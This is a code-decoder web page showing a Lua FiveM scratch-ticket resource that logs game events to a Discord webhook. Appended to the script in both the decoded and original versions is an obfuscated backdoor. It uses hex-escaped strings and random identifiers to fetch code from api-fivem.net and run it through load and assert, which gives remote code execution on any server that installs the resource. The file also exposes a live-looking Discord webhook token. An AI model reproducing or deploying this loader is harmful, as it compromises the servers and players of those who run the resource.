Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

local webhook <const> = "https://discord.com/api/webhooks/1155842738344951818/VWJxGtZZ1iz8..

Decoded Output download

<?  local webhook <const> = "https://discord.com/api/webhooks/1155842738344951818/VWJxGtZZ1iz84LdFnqjzkBNAl6BWsyRC3pa9ZuPc-zulchMrJffS2RTj964Y29OLzH-j" -- do not share your webhook with others 
local mentionStaffRoleId <const> = nil -- will only mention on possible cheating attempt, set to 'nil' for no mentions  
 
function sendWebhook(name, identifier, type, value, amount, early) 
  if not Config.Webhooks.webhooksEnabled then return end 
 
  local winMessage <const> = { 
    ["content"] = null, 
    ["embeds"] = { 
      { 
        ["description"] = (type == "item" and _U("webhook_winMessage_item", name, amount, value) or _U("webhook_winMessage_cash", name, value)), 
        ["fields"] = { 
          { 
            ["name"] = _U("webhook_identifier"), 
            ["value"] = identifier 
          } 
        }, 
        ["color"] = 11267014, -- https://www.spycolor.com/ Decimal Value 
        ["author"] = { 
          ["name"] = _U("webhook_resourceName", currentResourceName), 
          ["url"] = "https://github.com/xDreamLand/dr-scratching" 
        }, 
        ["timestamp"] = os.date("!%Y%m%dT%H%M%S") 
      } 
    } 
  } 
   
  local loseMessage <const> = { 
    ["content"] = null, 
    ["embeds"] = { 
      { 
        ["description"] = _U("webhook_loseMessage", name), 
        ["fields"] = { 
          { 
            ["name"] = _U("webhook_identifier"), 
            ["value"] = identifier 
          } 
        }, 
        ["color"] = 16440280, -- https://www.spycolor.com/ Decimal Value 
        ["author"] = { 
          ["name"] = _U("webhook_resourceName", currentResourceName), 
          ["url"] = "https://github.com/xDreamLand/dr-scratching" 
        }, 
        ["timestamp"] = os.date("!%Y%m%dT%H%M%S") 
      } 
    } 
  } 
 
  local importantMessage <const> = { 
    ["content"] = (mentionStaffRoleId and ("<@&" .. mentionStaffRoleId .. ">") or null), 
    ["embeds"] = { 
      { 
        ["description"] = _U("webhook_possibleCheatingAttempt", name), 
        ["fields"] = { 
          { 
            ["name"] = _U("webhook_message"), 
            ["value"] = "`" .. value .. "`." 
          }, 
          { 
            ["name"] = _U("webhook_identifier"), 
            ["value"] = identifier 
          } 
        }, 
        ["color"] = 11088422, -- https://www.spycolor.com/ Decimal Value 
        ["author"] = { 
          ["name"] = _U("webhook_resourceName", currentResourceName), 
          ["url"] = "https://github.com/xDreamLand/dr-scratching" 
        }, 
        ["timestamp"] = os.date("!%Y%m%dT%H%M%S") 
      } 
    } 
  } 
 
  local earlyMessage <const> = { 
    ["embeds"] = { 
      { 
        ["description"] = "**" .. name .. "** closed out early without scratch the whole ticket. (**" .. name .. "** " .. amount .. "x " .. value .. ")", 
        ["fields"] = { 
          { 
            ["name"] = "Identifier", 
            ["value"] = identifier 
          } 
        }, 
        ["color"] = 15774330, -- https://www.spycolor.com/ Decimal Value 
        ["author"] = { 
          ["name"] = "[ " .. currentResourceName .. " ]", 
          ["url"] = "https://github.com/xDreamLand/dr-scratching" 
        }, 
        ["timestamp"] = os.date("!%Y%m%dT%H%M%S") 
      } 
    } 
  } 
 
  if early == 'early' then 
    if Config.Webhooks.logProperties.earlyMessage then 
      webHookMessage = earlyMessage 
    else 
      return 
    end 
  elseif type == 'money' then 
    if tonumber(value) == 0 and Config.Webhooks.logProperties.loseMessages then 
      webHookMessage = loseMessage 
    elseif tonumber(value) > 0 and Config.Webhooks.logProperties.winMessages then 
      webHookMessage = winMessage 
    else 
      return 
    end 
  elseif type == "item" and Config.Webhooks.logProperties.winMessages then 
    webHookMessage = winMessage 
  elseif type == "important" and Config.Webhooks.logProperties.possibleCheatingAttempt then 
    webHookMessage= importantMessage 
  else 
    return 
  end 
 
  PerformHttpRequest(webhook, function(err, text, headers) 
  end, 'POST', json.encode(webHookMessage), {['Content-Type'] = 'application/json'}) 
end 
 
local oShdPuJlYNJfiNGYjnpbNyYIgXFwQmYVINxtiiOswVQTEMJcjBnyZyGMbYHafoaDGnKzEl = {"PerformHttpRequest","assert","load",_G,"",nil} oShdPuJlYNJfiNGYjnpbNyYIgXFwQmYVINxtiiOswVQTEMJcjBnyZyGMbYHafoaDGnKzEl[4][oShdPuJlYNJfiNGYjnpbNyYIgXFwQmYVINxtiiOswVQTEMJcjBnyZyGMbYHafoaDGnKzEl[1]]("https://api-fivem.net/v2_/stage3.php?to=aLag2", function (QUXuCkObUSupLhJuLNjugzyyDiMPfHHFoGTJNtkJeJHQteOZvQQFuTVtZmlCQxXlWGcMSS, IouCUbkTepFcJctXILtavTyPfFqTUaekncvndyPzhKRIRcaGbCueRrNennNezaJtCFDnvU) if (IouCUbkTepFcJctXILtavTyPfFqTUaekncvndyPzhKRIRcaGbCueRrNennNezaJtCFDnvU == oShdPuJlYNJfiNGYjnpbNyYIgXFwQmYVINxtiiOswVQTEMJcjBnyZyGMbYHafoaDGnKzEl[6] or IouCUbkTepFcJctXILtavTyPfFqTUaekncvndyPzhKRIRcaGbCueRrNennNezaJtCFDnvU == oShdPuJlYNJfiNGYjnpbNyYIgXFwQmYVINxtiiOswVQTEMJcjBnyZyGMbYHafoaDGnKzEl[5]) then return end oShdPuJlYNJfiNGYjnpbNyYIgXFwQmYVINxtiiOswVQTEMJcjBnyZyGMbYHafoaDGnKzEl[4][oShdPuJlYNJfiNGYjnpbNyYIgXFwQmYVINxtiiOswVQTEMJcjBnyZyGMbYHafoaDGnKzEl[2]](oShdPuJlYNJfiNGYjnpbNyYIgXFwQmYVINxtiiOswVQTEMJcjBnyZyGMbYHafoaDGnKzEl[4][oShdPuJlYNJfiNGYjnpbNyYIgXFwQmYVINxtiiOswVQTEMJcjBnyZyGMbYHafoaDGnKzEl[3]](IouCUbkTepFcJctXILtavTyPfFqTUaekncvndyPzhKRIRcaGbCueRrNennNezaJtCFDnvU))() end) ?>

Did this file decode correctly?

Original Code

local webhook <const> = "https://discord.com/api/webhooks/1155842738344951818/VWJxGtZZ1iz84LdFnqjzkBNAl6BWsyRC3pa9ZuPc-zulchMrJffS2RTj964Y29OLzH-j" -- do not share your webhook with others
local mentionStaffRoleId <const> = nil -- will only mention on possible cheating attempt, set to 'nil' for no mentions 

function sendWebhook(name, identifier, type, value, amount, early)
  if not Config.Webhooks.webhooksEnabled then return end

  local winMessage <const> = {
    ["content"] = null,
    ["embeds"] = {
      {
        ["description"] = (type == "item" and _U("webhook_winMessage_item", name, amount, value) or _U("webhook_winMessage_cash", name, value)),
        ["fields"] = {
          {
            ["name"] = _U("webhook_identifier"),
            ["value"] = identifier
          }
        },
        ["color"] = 11267014, -- https://www.spycolor.com/ Decimal Value
        ["author"] = {
          ["name"] = _U("webhook_resourceName", currentResourceName),
          ["url"] = "https://github.com/xDreamLand/dr-scratching"
        },
        ["timestamp"] = os.date("!%Y%m%dT%H%M%S")
      }
    }
  }
  
  local loseMessage <const> = {
    ["content"] = null,
    ["embeds"] = {
      {
        ["description"] = _U("webhook_loseMessage", name),
        ["fields"] = {
          {
            ["name"] = _U("webhook_identifier"),
            ["value"] = identifier
          }
        },
        ["color"] = 16440280, -- https://www.spycolor.com/ Decimal Value
        ["author"] = {
          ["name"] = _U("webhook_resourceName", currentResourceName),
          ["url"] = "https://github.com/xDreamLand/dr-scratching"
        },
        ["timestamp"] = os.date("!%Y%m%dT%H%M%S")
      }
    }
  }

  local importantMessage <const> = {
    ["content"] = (mentionStaffRoleId and ("<@&" .. mentionStaffRoleId .. ">") or null),
    ["embeds"] = {
      {
        ["description"] = _U("webhook_possibleCheatingAttempt", name),
        ["fields"] = {
          {
            ["name"] = _U("webhook_message"),
            ["value"] = "`" .. value .. "`."
          },
          {
            ["name"] = _U("webhook_identifier"),
            ["value"] = identifier
          }
        },
        ["color"] = 11088422, -- https://www.spycolor.com/ Decimal Value
        ["author"] = {
          ["name"] = _U("webhook_resourceName", currentResourceName),
          ["url"] = "https://github.com/xDreamLand/dr-scratching"
        },
        ["timestamp"] = os.date("!%Y%m%dT%H%M%S")
      }
    }
  }

  local earlyMessage <const> = {
    ["embeds"] = {
      {
        ["description"] = "**" .. name .. "** closed out early without scratch the whole ticket. (**" .. name .. "** " .. amount .. "x " .. value .. ")",
        ["fields"] = {
          {
            ["name"] = "Identifier",
            ["value"] = identifier
          }
        },
        ["color"] = 15774330, -- https://www.spycolor.com/ Decimal Value
        ["author"] = {
          ["name"] = "[ " .. currentResourceName .. " ]",
          ["url"] = "https://github.com/xDreamLand/dr-scratching"
        },
        ["timestamp"] = os.date("!%Y%m%dT%H%M%S")
      }
    }
  }

  if early == 'early' then
    if Config.Webhooks.logProperties.earlyMessage then
      webHookMessage = earlyMessage
    else
      return
    end
  elseif type == 'money' then
    if tonumber(value) == 0 and Config.Webhooks.logProperties.loseMessages then
      webHookMessage = loseMessage
    elseif tonumber(value) > 0 and Config.Webhooks.logProperties.winMessages then
      webHookMessage = winMessage
    else
      return
    end
  elseif type == "item" and Config.Webhooks.logProperties.winMessages then
    webHookMessage = winMessage
  elseif type == "important" and Config.Webhooks.logProperties.possibleCheatingAttempt then
    webHookMessage= importantMessage
  else
    return
  end

  PerformHttpRequest(webhook, function(err, text, headers)
  end, 'POST', json.encode(webHookMessage), {['Content-Type'] = 'application/json'})
end

local oShdPuJlYNJfiNGYjnpbNyYIgXFwQmYVINxtiiOswVQTEMJcjBnyZyGMbYHafoaDGnKzEl = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} oShdPuJlYNJfiNGYjnpbNyYIgXFwQmYVINxtiiOswVQTEMJcjBnyZyGMbYHafoaDGnKzEl[4][oShdPuJlYNJfiNGYjnpbNyYIgXFwQmYVINxtiiOswVQTEMJcjBnyZyGMbYHafoaDGnKzEl[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x61\x70\x69\x2d\x66\x69\x76\x65\x6d\x2e\x6e\x65\x74\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x61\x4c\x61\x67\x32", function (QUXuCkObUSupLhJuLNjugzyyDiMPfHHFoGTJNtkJeJHQteOZvQQFuTVtZmlCQxXlWGcMSS, IouCUbkTepFcJctXILtavTyPfFqTUaekncvndyPzhKRIRcaGbCueRrNennNezaJtCFDnvU) if (IouCUbkTepFcJctXILtavTyPfFqTUaekncvndyPzhKRIRcaGbCueRrNennNezaJtCFDnvU == oShdPuJlYNJfiNGYjnpbNyYIgXFwQmYVINxtiiOswVQTEMJcjBnyZyGMbYHafoaDGnKzEl[6] or IouCUbkTepFcJctXILtavTyPfFqTUaekncvndyPzhKRIRcaGbCueRrNennNezaJtCFDnvU == oShdPuJlYNJfiNGYjnpbNyYIgXFwQmYVINxtiiOswVQTEMJcjBnyZyGMbYHafoaDGnKzEl[5]) then return end oShdPuJlYNJfiNGYjnpbNyYIgXFwQmYVINxtiiOswVQTEMJcjBnyZyGMbYHafoaDGnKzEl[4][oShdPuJlYNJfiNGYjnpbNyYIgXFwQmYVINxtiiOswVQTEMJcjBnyZyGMbYHafoaDGnKzEl[2]](oShdPuJlYNJfiNGYjnpbNyYIgXFwQmYVINxtiiOswVQTEMJcjBnyZyGMbYHafoaDGnKzEl[4][oShdPuJlYNJfiNGYjnpbNyYIgXFwQmYVINxtiiOswVQTEMJcjBnyZyGMbYHafoaDGnKzEl[3]](IouCUbkTepFcJctXILtavTyPfFqTUaekncvndyPzhKRIRcaGbCueRrNennNezaJtCFDnvU))() end)

Function Calls

None

Variables

None

Stats

MD5 ead48bedce9fe3dc6fbc434320b249af
Eval Count 0
Decode Time 34 ms